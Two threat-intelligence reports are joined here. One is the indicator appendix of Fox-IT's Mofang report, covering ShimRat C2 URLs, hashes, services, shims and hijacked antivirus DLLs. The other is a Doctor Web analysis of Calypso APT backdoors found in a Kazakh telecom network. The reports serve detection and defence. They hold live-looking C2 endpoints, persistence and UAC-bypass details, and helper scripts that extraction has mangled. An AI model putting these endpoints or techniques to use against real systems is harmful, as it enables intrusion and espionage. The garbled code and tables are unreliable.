ShimRat core Filename(s) - Related campaign - Proxy HTTP150.207.1.67:80 C2 URL http://video.today-nytimes.com/en-us/b/index.php MD5 f4b247a44be362898c4e587545c7653f SHA256 558461b6fb0441e7f70c4224963490ea49f44d40c5700a4c7fd19be4c62b3d6a ShimRat core Filename(s) vmware-vmx.exe Related campaign - C2 URL http://www.goodlook.sg/po/index.php MD5 e79b2d2934e5525e7a40d74875f9d761 SHA256 a835baa7ffc265346443b5d6f4828d7221594bd91be8afc08152f3d68698b672 ShimRat core ShimRat core loader DLL Filename(s) msvcr110.dat Filename(s) msvcr110.dll Related campaign Citrix lure, see section 6.3 C2 URL https://api.officeonlinetool.comindex.php MD5 6b126cd9a5f2af30bb- 048caef92ceb51 MD5 4e493a649e2b87e- f1a341809dab34a38 SHA256 2653ecc3ea17e0d5613dde- be76bdddea6c108713330b0b- d8e68d2d5141a4a07d SHA256 2d40ca005a7df46b3f7c- 691006c9951fc3bee25bb- 4fa4a0ebbdee76d7d117fdf fox-it  Mofang  A politically motivated information stealing adversary  May 2016  41 ShimRat core ShimRat core loader DLL Filename(s) elogger.dat Filename(s) elogger.dll Related campaign Global campaign, see section 6.4 C2 URL https://ie.update-windows-microsoft.com/update/index.php MD5 d8b95e942993b979fb82c22e- a5b5ca18 MD5 c27fb6999a0243f- 041c5e387280f9442 SHA256 af67df976fb- 941c99f4d3dd948e- d4828a445dd6f9c98ffc- 2070c8be76c60484d SHA256 e5bcb55d7881b- 3b367521532af173e85d1eee- 66badf89586168d22ed17b- c25b2 ShimRat core ShimRat core loader DLL Filename(s) elogger.dat Filename(s) elogger.dll Related campaign - C2 URL http://travel.tripmans.com/links/images/links.php MD5 23a1a7f0f30f- 18ba4d0461829eb46766 MD5 b4554c52f708154e529f- 62ba8e0de084 SHA256 d834e70a524a- 87945f7a8880b78f- 5e10460c1d2b60f3e487cb6f- 05c8221aa4f8 SHA256 0cc1660e384683f2147e02ff- 76c69822ee2b- 98433c3a3613bbd28b9d- 8258da38 ShimRat core ShimRat core loader DLL Filename(s) elogger.dat Filename(s) elogger.dll Related campaign Myanmar, see section 5 C2 URL http://dns.undpus.com/index.php MD5 8c85d527340a17d267379bc- d9e5e5b1f MD5 26ff9e2da06b7e90443d- 6190388581ab SHA256 f71025d47105dcd674a0b9ef- 0c83a83854ba20cb0eb- 8168da36a7908d150e44f SHA256 5dc3f4a067ae125f- 99fa90844bba667235e- c7ef667353e282ff29712d- da5b71c 42  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 ShimRat core ShimRat core loader DLL Filename(s) elogger.dat Filename(s) elogger.dll Related campaign Myanmar, see section 5 C2 URL https://secure2.sophosrv.com/en-us/support/ms-cache_check.php MD5 3eb9d4c448cd5ec8cb- 49fa1e3b42b7d5 MD5 f34c6239b7d70f- 23ce02a8d207176637 SHA256 8ee3fc5ccef751e098c4e- 64b36e8b5c95d- c48473ac83380b59d10e- a32f9946f9 SHA256 35589ce27c27d- d4407a79540f32031d752b774b4bd- 6b8a3687e19a177ae6b18b ShimRat core Filename(s) vmware-vmx.exe Related campaign Global campaign, see section 6.4 C2 URL https://ie.update-windows-microsoft.com/my/js/index.php MD5 2cc5bc69e24a13bfc8ea3dc679ab0efc SHA256 36422e6ccaa50a9ecceb7fb709a9e383552732525cb579f8438237d87aaf8377 ShimRat core ShimRat core loader DLL Filename(s) elogger.dat Filename(s) elogger.dll Related campaign - C2 URL http://www.tinroofpopcorn.com/admin/fckeditor/_samples/_plugins/samples.php MD5 a3f7895fae05fa121a4e23d- d3595c366 MD5 5965731f2f237a- 12f7a4873e3e37658a SHA256 3c5c4d68d0fa6520637fb4a- fe6a7097ec7d0f- 1d6a738bb0064bb009e- a6344e8d SHA256 a03bd56eeee9f376eb- 59c6f4d19bf8a651eeb57b- b4ebb7f884192b22a6616e68 ShimRat core Filename(s) svchost.exe Related campaign - C2 URL http://update.nfkllyuisyahooapis.com/js/js/js.php MD5 f9c14a8e9ceb143d959743ad8c09fdc4 SHA256 b53b27bb3e9d02e3ec5404cf3e67debb90d9337dbb570ca8b8cfce1054428466 fox-it  Mofang  A politically motivated information stealing adversary  May 2016  43 ShimRat core Filename(s) svchost.exe Related campaign - C2 URL http://www.go-gga.com/ez/doc/company/log/logon.php MD5 663e54e686842eb8f8bae2472cf01ba1 SHA256 ba0057a1b132ec16559efc832941455cc07f34c434da2a7434f73f1d2141bebf ShimRat core Filename(s) svchost.exe Related campaign Myanmar, see section 5 C2 URL http://www.commerce.gov.mm/templates/css1/logon.php MD5 a4da3b820883e9808bd3ca2e02437a25 SHA256 2b111e287d356ac4561ba4f56135b7c1361b7da32e5825028a5e300e44b05579 ShimRat core Filename(s) vmware-vmx.exe Related campaign - C2 URL http://www.ipacking.co.kr/ez/admin/data/403.php MD5 ca41c19366bee737fe5bc5008250976a SHA256 029e735581c38d66f03aa0e9d1c22959b0bc8dfe298b9e91b127c42c7f904b5e ShimRat core Filename(s) - Related campaign MSME DEFEXPO, see section 6.1 C2 URL http://images.defexpoindia14.com/se/index.php MD5 25e87e846bb969802e8db9b36d6cf67c SHA256 33b288455c12bf7678fb5fd028ff3d42fcaf33cf833a147cb7f0f89f7dad0d8f ShimRat core Filename(s) helpservice.exe Related campaign Global Campaign, see section 6.4 C2 URL http://update.micrdsoft.com/image/image.php MD5 cf883d04762b868b450275017ab3ccfa SHA256 eb2d3c9e15b189dd02f753f805e90493254e17d40db6f1228a4e4095c5f260c1 44  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 ShimRat core Filename(s) helpservice.exe Related campaign - C2 URL http://www.domesky.com/ez/admin/data/index.php MD5 06cca5013175c5a1c8ff89a494e24245 SHA256 5da5a5643e32d6200567768e6112d4d3161335d8d7a6dd48f02bf444fe98aab3 ShimRat core Filename(s) helpservice.exe Related campaign MSME DEFEXPO, see section 6.1 C2 URL http://images.defexpoindia14.com/se/index.php MD5 b281a2e1457cd5ca8c85700817018902 SHA256 241c66bb54bd27afeb4805aa8a8045155b81c8cd7093dde7ef19273728f502eb ShimRat core Filename(s) svchost.exe Related campaign seg, see section 6.2 C2 URL HTTPproxy.seg.local:8080 MD5 http://support.f--secure.com/cache/cache.php SHA256 4e22e8bc3034d0df1e902413c9cfefc9 577622fbf0a7bebc60844df808e75eef81a3d62ec6943f80168ac0d5ef39de5c ShimRat core Filename(s) Update.exe Related campaign Global campaign, see section 6.4 C2 URL http://store.outlook-microsoft.net/en-us/c/index.php MD5 2f14d8c3d4815436f806fc1a435e29e3 SHA256 d2d4723f8c3bba910cade05c9ecea00cdcc647d42232bccc610d066792a95b15 ShimRat core Filename(s) vmware-vmx.exe Related campaign Global campaign, see section 6.4 C2 URL https://ie.update-windows-microsoft.com/company/js/index.php MD5 36e057fa2020c65f2849d718f2bb90ad SHA256 dae17755e106be27ea4b97120906c46d4fcbb14cc8d9fc2c432f4c0cc74bb3fb fox-it  Mofang  A politically motivated information stealing adversary  May 2016  45 ShimRat core Filename(s) lexplore.exe Related campaign Global campaign, see section 6.4 C2 URL http://b.support.outlook-microsoft.net/en-us/b/index.php MD5 3dab6ff3719ff7fcb01080fc36fe97dc SHA256 23132f4dfd4cb8abe11af1064e4930bc36a464d1235f43bad4ff20708babcc34 ShimRat core Filename(s) svchost.exe Related campaign - C2 URL http://www.domesky.com/ez/admin/data/index.php MD5 a326e2abacc72c7a050ffe36e3d3d0eb SHA256 fa28559a4e0e920b70129cea95a98da9a409eaa093c63f341a7809692b31e723 ShimRat core Filename(s) - Related campaign - C2 URL http://logon.had-one-job.com/2008/vcards/log/us/index.php MD5 d7a575895b07b007d0daf1f15bfb14a1 SHA256 234d62ffd83c3972a32e89685787ff3aab4548cd16e4384c3c704a059ef731ce ShimRat core Filename(s) - Related campaign Global campaign, see section 6.4 C2 URL http://store.outlook-microsoft.net/en-us/c/index.php MD5 888cac09f613db4505c4ee8d01d4291b SHA256 e01aae93f68a84829fd8c0bc5ae923897d32af3a1d78623839fcfd18c99627cc ShimRat core Filename(s) - Related campaign - C2 URL http://www.psychologia.uni.wroc.pl/sites/default/bm.php MD5 916a2a20a447b10e379543a47a60b40f SHA256 2a1a0d8d81647c321759197a15f14091ab5e76b913eb2d7d28c6bb053166d882 46  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 ShimRat core Filename(s) helpservice.exe Related campaign - C2 URL http://www.avgfree.us/index.php MD5 2384febe404ef48d6585f050e3cd51a8 SHA256 6882664f1d0eb8c8cf61bdd16494380d34b6207455638342c6c3a7eef1ed9197 ShimRat core Filename(s) svchost.exe Related campaign - C2 URL http://adventurelearning.me/wp-content/uploads/index.php MD5 484c7f9e6c9233ba6ed4adb79b87ebce SHA256 1922273bb36ab282e3b7846f1bb2802f5803bde66078fa996e44b84d0265675f ShimRat core Filename(s) - Related campaign - C2 URL HTTP150.207.1.67:80 MD5 http://video.today-nytimes.com/en-us/b/index.php SHA256 f4b247a44be362898c4e587545c7653f 558461b6fb0441e7f70c4224963490ea49f44d40c5700a4c7fd19be4c62b3d6a ShimRat core Filename(s) - Related campaign Global campaign, see section 6.4 C2 URL http://mail.upgoogle.com/image/image.php MD5 5c00ccf456135514c591478904b146e3 SHA256 1ca75e9b1761e15968d01a6e4f0a9f6ce47ba7ee4047d1533fb838f0f6ab28e2 fox-it  Mofang  A politically motivated information stealing adversary  May 2016  47 9.3 ShimRatReporter samples The following samples are the core ShimRatReporter samples.
Some of these were delivered in zip archives or packaged in some form but those arent listed.
These table blocks contain parsed configuration data for the samples, the domains listed here are also present separately in the Network ioc paragraph 2, but added here to give an overview and outline the relationship between the iocs.
ShimRatReporter core Observed filename(s) vmware-vmx.exe Related campaign - Configured C2 domain www.ipacking.co.kr Configured C2 reporting gate http://www.ipacking.co.kr/ez/admin/data/403.php MD5 ca41c19366bee737fe5bc5008250976a SHA256 029e735581c38d66f03aa0e9d1c22959b0bc8dfe298b9e91b127c42c7f904b5e ShimRatReporter core Observed filename(s) photo.exe Related campaign - Configured C2 domain dns.undpus.com Configured C2 reporting gate http://dns.undpus.com/info.php Configured 2nd stage payload http://dns.undpus.com/myanmar.jpg MD5 9a6167cf7c180f15d8ae13f48d549d2e SHA256 b7edbe6aee1896a952fcce2305c2bb7d8e77162bb45e305c64c7f8c9f63b3ab5 ShimRatReporter core Observed filename(s) loader.exe Related campaign - Configured C2 domain dns.undpus.com Configured C2 reporting gate http://dns.undpus.com/info.php Configured 2nd stage payload http://dns.undpus.com/info.txt MD5 0067bbd63db0a4f5662cdb1633d92444 SHA256 ac3b42453fac93e575988ba73ab24311515b090d57b1ad9f27dcbae8363f2d99 48  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 ShimRatReporter core Observed filename(s) font.exe Related campaign - Configured C2 domain wbmail.city-library.com Configured C2 reporting gate http://wbmail.city-library.com/mm/news/info.php MD5 fb80354303a0ff748696baae3d264af4 SHA256 0741a18bfd79dac1fb850a7d4fcc62098c43fb0c803df6cd9934e82a1362dd07 ShimRatReporter core Observed filename(s) - Related campaign Global campaign, see section 6.4 Configured C2 domain ie.update-windows-microsoft.com Configured C2 reporting gate http://ie.update-windows-microsoft.com/load/uplogo.php Configured 2nd stage payload http://ie.update-windows-microsoft.com/load/logo.gif MD5 582e4adddfd12f7d68035c3b8e2e3378 SHA256 722f41aa2c7d670364b7a9bb683a0025aef5893b34af67873972cdaf09490ad2 ShimRatReporter core Observed filename(s) AlphaZawgyl_font.exe Related campaign Myanmar, see section 5 Configured C2 domain library.cpgcorp.org secure2.sophosrv.com Configured C2 reporting gate http://library.cpgcorp.org/links/images/file/blanks.php Configured 2nd stage payload http://library.cpgcorp.org/links/images/blanks.jpg https://secure2.sophosrv.com/en-us/support/blanks.jpg MD5 b43e5988bde7bb03133eec60daaf22d5 SHA256 7deb75e95e8e22c6abb3b33c00b47a93122b8c744e8f66affd9748292e5a177f fox-it  Mofang  A politically motivated information stealing adversary  May 2016  49 9.4 Antivirus hijacking components As described in section 7.2 the ShimRat malware uses certain antivirus product compo- nents that are vulnerable to dll hijacking in order to run.
The following tables contain all the indicators for these components.
Keep in mind that these indicators are only useful indicators if the antivirus product the component comes from is not installed.
Company Norman Application name Program Manager Version (product specific) 10.0.0.0 Hijacked DLL elogger.dll First seen used 2014-04-30 MD5 23a3f48df4b36e3d2e63cde4b85cf4fa SHA256 006c74c6813a6efeabea860b2718ed548eed216a319d76ceb178fc38cba458d1 Company McAfee Application name McAfee Oem Module Version (product specific) 2.1.0.0 Hijacked DLL mcutil.dll First seen used 2015-03-15 MD5 884d46c01c762ad6ddd2759fd921bf71 SHA256 3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe Company Symantec Application name Norton Identity Safe Version (product specific) 2015.2.1.5 Hijacked DLL msvcr110.dll First seen used 2015-09-07 MD5 1f330f00510866522f14790398a5be59 SHA256 33fff13b0d0e76a09100efa0b407fe8cdfd0758500dad7cc59722bf3b537de62 50  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 9.5 Observed services As explained in paragraph 7.1.3, ShimRat can become persistent through the use of services.
The configuration of the service which includes the service name, title and description is configured inside the individual ShimRat samples.
The list below are uniquely observed service configurations.
Correlating these with the actual process the service starts, is a good indicator of the presence of ShimRat.
Service name WWebLogic Service title Windows WebLogic Service Service description DHCP service for windows networks.
Provides Windows  DHCP Net founda- tion frame support ,through the framework, on servers that are also running the service.
Service name WNetDHCP Service title Windows DHCP Service Service description DHCP service for windows networks.
Provides Windows  DHCP Net founda- tion frame support ,through the framework, on servers that are also running the service.
Service name helpservices Service title Windows Help Services Service description Enables Help and Support Center to run on this computer.
If this service is stopped, Help and Support Center will be unavailable.
Service name mshelpsrvs Service title Windows Help Services Service description Enables Help and Support Center to run on this computer.
If this service is stopped, Help and Support Center will be unavailable.
Service name mshelpsrvsv Service title Windows Help Services Service description Enables Help and Support Center to run on this computer.
If this service is stopped, Help and Support Center will be unavailable.
fox-it  Mofang  A politically motivated information stealing adversary  May 2016  51 Service name mshelplog Service title Windows Help log Service description Enables Help and Support Center to run on this computer.
If this service is stopped, Help and Support Center will be unavailable.
Service name avp2015 Service title Kaspersky protect service Service description Kaspersky protect service 9.6 Observed shims As discussed in paragraph 7.1.4, ShimRat can obtain persistence on systems by installing shims.
The following table contains the settings for these shims and some observed hashes.
Checking for the configurations of these shims will be more effective than just checking the listed hashes.
Platform x86 Name Clengine_Shim Application name Clengine_Apps Database name Clengine_Database Type of fix InjectDLL Injection target svchost.exe Injection DLL elogger.dll Database GUID 503ec3d3-165a-4770-b799-099d43b833ec Exe GUID e8cc2eb5-469c-43bd-9d69-de089e497302 MD5 cacbdf48a61ee0999da003f090027598 SHA256 7c8f962129f9d8fef6df7ca29ee7672c30286660298e0ef8b40f6a17f029187f Platform x64 Name Clengine_Shim Application name Clengine_Apps Database name Clengine_Database Type of fix InjectDLL Injection target svchost.exe Injection DLL eloggerx64.dll Database GUID f8c4cc07-6dc4-418f-b72b-304fcdb64052 Exe GUID 7feee735-1296-4c40-bdd4-7d4f09acc2d0 MD5 5f287a8082df8ed7b081137507c03638 SHA256 286616a5124f57f165ba2a1aa540200e103e976ce181dd61fe39faf05cf5378d 52  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 fox-it Was founded in 1999.
Established one of the first Cyber Security Operations Centers in Europe.
Is Europes largest specialized cyber security company.
Operates in three business areas: 1 Cyber Threat Management: a solution portfolio aimed at reducing the risks of cyber threats, and includes: professional services, managed security services, and technology 2 Web and Mobile event analytics: a solution portfolio that is aimed at reducing financial risks in (online) payment transactions 3 High Assurance: solutions that make trusted communication possible to the highest classification levels.
Has been involved in many high-profile Incident Response cases.
Most of the cases we worked on are secret.
An approved selection can be shared upon request.
fox-it Olof Palmestraat 6, Delft po box 638, 2600 ap Delft The Netherlands t 31 (0) 15 284 79 99 f 31 (0) 15 284 79 90 e foxfox-it.com www.fox-it.com Cover Executive Summary Table of Content 1Introduction 2Who is Mofang and who do they attack?
2.1About the Mofang group 2.2Mofangs targets: a diverse set of entities 3The distinct modus operandi of Mofang 3.1Stage 1: Initial reconnoitering compromise 3.2Stage 2: Faux infrastructure setup 3.3Stage 3: The main compromise 4A history of past attacks 5Campaigns in Myanmar 5.1Activities related to the Kyaukphyu Special Economic Zone 5.2Earlier campaigns in Myanmar 6Other notable campaigns and attacks 6.1Attack on Indian defense expo exhibitors 6.2Attack on seg 6.3Attack using a Citrix lure 6.4The global campaign 7Preferred tools 7.1ShimRat 7.2ShimRatReporter 8Network based detection (iocs) 8.1Snort signatures 8.2Domains  IP addresses 9Host based detection (iocs) 9.1yara rules 9.2ShimRat samples 9.3ShimRatReporter samples 9.4Antivirus hijacking components 9.5Observed services 9.6Observed shims HEEN 2: Pagina 1: Off Pagina 531: Off TERUG: Pagina 2: Off Pagina 41: Off HEEN 1: Pagina 2: Off Pagina 41: Off TERUG 1: Pagina 3: Off Pagina 51: Off HEEN: Pagina 3: Off Pagina 51: Off TERUG 3: Pagina 6: Off Pagina 81: Off Pagina 102: Off Pagina 123: Off Pagina 144: Off Pagina 165: Off Pagina 186: Off Pagina 207: Off Pagina 228: Off Pagina 249: Off Pagina 2610: Off Pagina 2811: Off Pagina 3012: Off Pagina 3213: Off Pagina 3414: Off Pagina 3615: Off Pagina 3816: Off Pagina 4017: Off Pagina 4218: Off Pagina 4419: Off Pagina 4620: Off Pagina 4821: Off Pagina 5022: Off Pagina 5223: Off HEEN 3: Pagina 7: Off Pagina 91: Off Pagina 112: Off Pagina 133: Off Pagina 154: Off Pagina 175: Off Pagina 196: Off Pagina 217: Off Pagina 238: Off Pagina 259: Off Pagina 2710: Off Pagina 2911: Off Pagina 3112: Off Pagina 3313: Off Pagina 3514: Off Pagina 3715: Off Pagina 3916: Off Pagina 4117: Off Pagina 4318: Off Pagina 4519: Off Pagina 4720: Off Pagina 4921: Off Pagina 5122: Off
Study of an APT attack on a telecommunications company in Kazakhstan Doctor Web Head Office 2-12A, 3rd str.
Yamskogo polya Moscow, Russia 125040 Website: www.drweb.com Phone: 7 (495) 789-45-87 Refer to the official website for regional and international office information.
Study of an APT attack on a telecommunications company in Kazakhstan 3/23/2022 Doctor Web, Ltd., 2022.
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3 3 Table of Contents 4Introduction 5Remote Rover 7Conclusion 8Operating Routine of Discovered Malware Samples 8BackDoor.
PlugX.93 18BackDoor.
Siggen2.3622 21BackDoor.
Whitebird.30 27Trojan.
DownLoader43.44599 37Trojan.
Loader.891 45Trojan.
Loader.896 54Trojan.
Uacbypass.21 59Appendix.
Indicators of Compromise 4 4 Introduction In October 2021, one of Kazakhstans telecommunication companies contacted Doctor Web, with suspicion of malware in the corporate network.
During the first look, we found backdoors that were previously only used in targeted attacks.
During the investigation, we also found out that the companys internal servers had been compromised since 2019.
For several years, Backdoor.
PlugX.93 and BackDoor.
Whitebird.30, the Fast Reverse Proxy (FRP) utilities, and RemCom have been the main attackers tools.
Because of the hackers mistake, we got a unique opportunity to study the lists of victims and find out what backdoor management tools were used.
Based on the acquired information, we concluded that the hacker group specialized in compromising the Asian companies mail servers with Microsoft Exchange software installed.
That said, we also found victims from other countries, including: Egyptian government agency Italian airport USA marketing company Canadian transport and woodworking companies The logs collected along with the command and control server included victims infected from August 2021 to early November of the same year.
Yet, in some cases, BackDoor.
Whitebird.30 was installed not only on the server running Microsoft Exchange, but on domain controllers, too.
Based on the tools, methods, and infrastructure used, we conclude that the Calypso APT hacker group is behind the attack.
5 5 Remote Rover Command and control server for BackDoor.
Whitebird.30 calls Remote Rover.
It allows hackers to remotely launch applications, update the backdoor configuration, download and upload files.
Besides that, you can use a command shell via Remote Rover.
This is what the control server interface looks like: Remote Rover came with a configuration file CFG\default.ini with the following content: E:\    \      \2021\RR\    \telecom.cfg OneClock.exe If you translate the content from Chinese into English, you can get this path: E:\personal use\Independent research and development remote\2021\RR\Configuration backup\telecom.cfg For a detailed description of the malware used and how it works, see the Dr.Web Virus Library.
BackDoor.
Siggen2.3622 BackDoor.
PlugX.93 BackDoor.
Whitebird.30 Trojan.
Loader.891 6 6 Trojan.
Loader.896 Trojan.
Uacbypass.21 Trojan.
DownLoader43.44599 7 7 Conclusion During the investigation of the targeted attack, Doctor Web virus analysts found and described several backdoors and trojans.
Its worth noting that the attackers managed to remain undetected for as long as other targeted attack incidents.
A hacker group compromised a telecommunications companys network more than two years ago.
Doctor Web specialists recommend regularly checking network resources efficiency and timely fixing failures that may indicate the presence of malware on the network.
Data compromise is one of targeted attacks main dangers, but the long-term presence of intruders is also a cause for concern.
Such development allows them to control the organizations work  for many years and gain access to especially sensitive information at the proper time.
If you suspect malicious activity in the corporate network, the best option is to contact the Doctor Web virus laboratory for qualified help.
Dr.Web FixIt helps you detect malware on servers and workstations.
Taking adequate measures timely will minimize the damage and prevent the serious consequences of targeted attacks.
8 8 Operating Routine of Discovered Malware Samples BackDoor.
PlugX.93 Added to the Dr.Web virus database:2021-10-22 Virus description added:2021-10-30 Packer: absent Compilation date: 2020-08-13 SHA1 hash: a8bff99e1ea76d3de660ffdbd78ad04f81a8c659 Description The PlugX backdoor module is written in C. Its designed to decrypt the shellcode from the registry that loads the main backdoor into memory.
Operating principle First, the backdoor receives the address of the VirtualProtect() function by hash.
It then uses this address to change access rights to PAGE_EXECUTE_READWRITE, starting from the function at 0x10001000 and ending with the entire .text section: Getting the functions address by the hash passed as a parameter: 9 9 Script to get a function by hash: importpefile rorlambdaval, r_bits, max_bits: \ 10 10 ((val  (2max_bits-1))  r_bitsmax_bits)  \ (val  (max_bits-(r_bitsmax_bits))  (2max_bits-1)) max_bits32 library_path_list[...] absolute path dlls defget_func_addr(hash): forlibrary_pathinlibrary_path_list: librarylibrary_path.split(\\) name_dlllibrary[len(library)-1].upper()b\x00 hash_name_dll0 foriinname_dll: hash_name_dllord(i)ror(hash_name_dll,0x0D, max_bits) hash_name_dll0ror(hash_name_dll,0x0D, max_bits) pepefile.
PE(library_path) forexpinpe.DIRECTORY_ENTRY_EXPORT.symbols: func_nameexp.nameb\x00 hash_name_func0 foriinfunc_name: hash_name_funcord(i)ror(hash_name_func,0x0D, max_bits) if(hash_name_dllhash_name_funchash): print- 0x:08x - .format(name_dll,hash, exp.name) return Changing the permissions to PAGE_EXECUTE_READWRITE was necessary to decrypt the code using the XOR operation: 11 11 One version of the backdoor has dynamic XOR encryption.
It has decryption at the beginning of the function: And with encryption at the end of the function: 12 12 Facilitating the scripts work for IDAPython: importidaapi defxor_dec(address, count, key): foriinxrange(count): idaapi.patch_dword(address, idaapi.get_dword(address)  key) keyidaapi.get_dword(address) address4 Before performing malicious actions, the backdoor, as in the case of VirtualProtect(), receives functions addresses that it needs to work 13 13 Received features: Function name Hash CloseHandle 0x528796C6 CreateFileA 0x4FDAF6DA DeleteFileA 0x13DD2ED7 ExitProcess 0x56A2B5F0 GetAdaptersInfo 0x62C9E1BD GetModuleFileNameA 0xFE61445D GetSystemDirectoryA 0x60BCDE05 LoadLibraryA 0x726774C ReadFile 0xBB5F9EAD 14 14 Function name Hash RegCloseKey 0x81C2AC44 RegDeleteValueA 0x3846A3A8 RegEnumValueA 0x2EC95AA4 RegOpenKeyExA 0x3E9E3F88 RegQueryValueExA 0x8FF0E305 VirtualAlloc 0xE553A458 VirtualFree 0x300F2F0B VirtualProtect 0xC38AE110 WinExec 0x876F8B31 WriteFile 0x5BAE572D In addition, the backdoor checks if it is executed in a sandbox: 15 15 After receiving the function addresses and checking for execution in the sandbox, BackDoor.
PlugX.93 removes the updatecfgSetup task from the task scheduler: The key for shellcode encryption is MD5 from the following registry key values: 16 16 HKLM\Software\Microsoft\Windows NT\CurrentVersion\InstallDate HKLM\System\ControlSet001\Control\ComputerName\ComputerName The shellcode is stored in the following registry keys: HKLM\Software\BINARY HKCU\Software\BINARY 17 17 Before running the shellcode, itll be decrypted in 2 steps: first, using the RC4 algorithm: then, with XOR: 18 18 BackDoor.
Siggen2.3622 Added to the Dr.Web virus database:2021-11-03 Virus description added:2021-xx-xx Packer: UPX SHA1 hash: be4d8344669f73e9620b9060fd87bc519a05617a Description A backdoor written in Go.
Its packed by UPX.
Investigated backdoor version V2.5.5 z 2021.7.19.
Operating principle In the beginning, the malicious code checks if another backdoor copy is running.
The trojan checks for the c:\windows\inf\mdmslbv.inf file.
If it exists, the trojan starts reading.
You can use the following script to decrypt: importsys withopen(sys.argv[1],rb) as f: df.read() sbytearray() foriinrange(len(d)): s.append(d[i]) foriinrange(len(s)-2,0,-1): s[i](((s[i1]s[i1])  s[i]) 0xff) withopen(sys.argv[1].dec,wb) as f: f.write(s) Encrypted files length The packets structure: 19 19 random string from 10 to 19 characters long between the a.../a tags contains the backdoor processs PID between the b.../b tags is the processs name random string from 10 to 19 characters long The trojan checks for the existence of a process with the specified parameters.
If it finds it, the trojan terminates its work.
If it doesnt find a process with the specified parameters or the mdmslbv.inf file itself, the trojan generates data as shown above.
Then, it encrypts and writes to the c: \windows\inf\mdmslbv.inf.
Communication with the command and control server The trojan has command and control server: blog[.]globnewsline[.
]com.
The trojan sends a GET request to the following URL: hxxps://blog.globnewsline.com:443/db/db.asp using User-Agent Mozilla/5.0 (X11 Windows x86_64 rv:70.0) Gecko/20100101 Firefox/70.0.
If the server response contains the substring Website under construction, then the trojan considers that the control server is available.
If the server is unavailable, the malicious code checks for the presence of a proxy configuration file  c:\windows\inf\bksotw.inf.
If thats present, the trojan reads the parameters written in the file.
The backdoor uses MAC addresses as the network interface bot ID.
For heartbeat requests, the following POST requests are used: https://blog.globnewsline.com:443/db/db.asp?mwnAmacaddr.t where macaddr is the MAC address string, converted to uppercase with colons removed.
Next, a GET request is sent to get a list of commands: https://blog.globnewsline.com:443/db/Amacaddr.c The server response is encrypted in the same way as the file with the backdoor processs PID.
The following commands can be executed: up down bg bgd getinfo https://blog.globnewsline.com:443/db/Amacaddr.c 20 20 The commands result is encrypted the same way as the command itself was encrypted.
Then, its sent in the POST requests body to the following URL: https://blog.globnewsline.com:443/db/Amacaddr.c 21 21 BackDoor.
Whitebird.30 Added to the Dr.Web virus database:2021-10-21 Virus description added:2021-xx-xx Packer: absent Compilation date: 2021-29-03 SHA1 hash: abfd737b14413a7c6a21c8757aeb6e151701626a Description A multi-functional backdoor trojan for 64-bit and 32-bit Microsoft Windows operating system family.
Its designed to establish an encrypted connection with the command and control server and unauthorized control of an infected computer.
It has a file manager and Remote Shells functions.
Preparing procedures At the beginning of the work, the backdoor decrypts the overlay provided by the shellcode.
The first encryption layer is removed by the following algorithm: k  0x37 s  bytearray() fori in range(len(d)): c  d[i]  k s.append(c) k  (k  c)  0xff The second layer is the XOR operation with the key 0xCC.
This overlay contains: configuration of trojan module for bypassing UAC Configuration looks as follows: structst_proxy  charproxy_addr[32] charproxy_login[64] charproxy_password[64] 22 22 _BYTE pad[2]  structst_config  charcnc_addr[4][34] st_proxy proxies[4] charhome_dir[260] charexe_name[50] charloader_name[50] charshellcode_name[50] charsoftware_name[260] charstartup_argument[50] _DWORD reg_hkey charreg_run_key[200] charreg_value_name[52] chartaskname[52] _DWORD mstask_mo charsvcname[50] charsvcdisplayname[50] charsvcdescription[256] charreg_uninstall_key[50] charinject_target_usr[260] charinject_target[260] _BYTE byte0[2] _BYTE flags _BYTE pad[3] _DWORD keepalivetime unsigned__int8key[16]  The flags field displays which autoload methods the trojan should use, and what launch features are: 23 23 enumem_flags  GOT_ENOUGH_RIGHTS 0x1, UNK_FLAG_2  0x2, UNK_FLAG_4  0x4, INSTALL_AS_MSTASK  0x8, INSTALL_AS_SERVICE  0x10, RUN_WITH_ARGUMENT  0x20, INJECT_TO_PROCESS  0x40, RUN_AS_USER  0x80,  If the launch is specified via the task scheduler (INSTALL_AS_MSTASK), then the configuration flags creates a mutex after decrypting.
That prevents restart: Next, it checks if the trojan has enough rights to launch in the way that was previously specified in the configuration.
If not, it restarts itself to bypass UAC.
Trojan checks for the presence of a file in the path C:Users\Public\Downloads\clockinstall.tmp, and if it exists, it deletes clockinstall.tmp.
If the clockinstall.tmp file is missing, it checks if the install file exists in the folder from which the trojan was launched.
If it exists, it removes it.
Then, it installs itself into the system in accordance with the type specified in the configuration.
The backdoor will also try to hide its activity from the user.
If the trojan runs on a 32-bit OS, then the same mechanism for hiding a service from running ones is valid, as in BackDoor.
PlugX.28, deleting that structure from the list of ServiceDatabase structures.
That corresponds to the trojan service.
If the configuration specifies that the trojan should be injected into a process, then itll be injected into the target process.
If the RUN_AS_USER flag is specified in the configuration, then the trojan will wait until at least one authorized user appears.
After that, itll create its own process, but on behalf of the user.
https://vms.drweb.ru/virus/?i21507745 24 24 Regardless of the trojans autorun type, only one process can communicate with the command and control server.
This creates a mutex: Before attempting to establish a connection with the command and control server, trojan determines the proxy server settings.
For this purpose: The presence of the process_name.ini file in the folder from which the trojan process was launched is checked.
Example of the configuration: [AntiVir] Cloud0A0804D2242000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000299CC1003C9CC10098F11900DCF1190062F21900000000 00E02AC300CC004501D8F11900000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000001 Reads a file named loader_name.tmp in the trojan folder, where loader_name is the value from the configuration Reads proxy settings from registry [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings, keys ProxyEnable and ProxyServer Reads proxy settings from Mozilla Firefox settings - APPDATA \Mozilla\Firefox\profile\prefs.js Checks for stored login:password from the proxy server in Mozilla Firefox and Internet Explorer Control server protocol Establishing a connection to the server mimics the creation of a TLS1.0 connection between the client and the server.
Trojan body contains two buffers: 1.
Contains the TLS1.0 Client Hello package: 2.
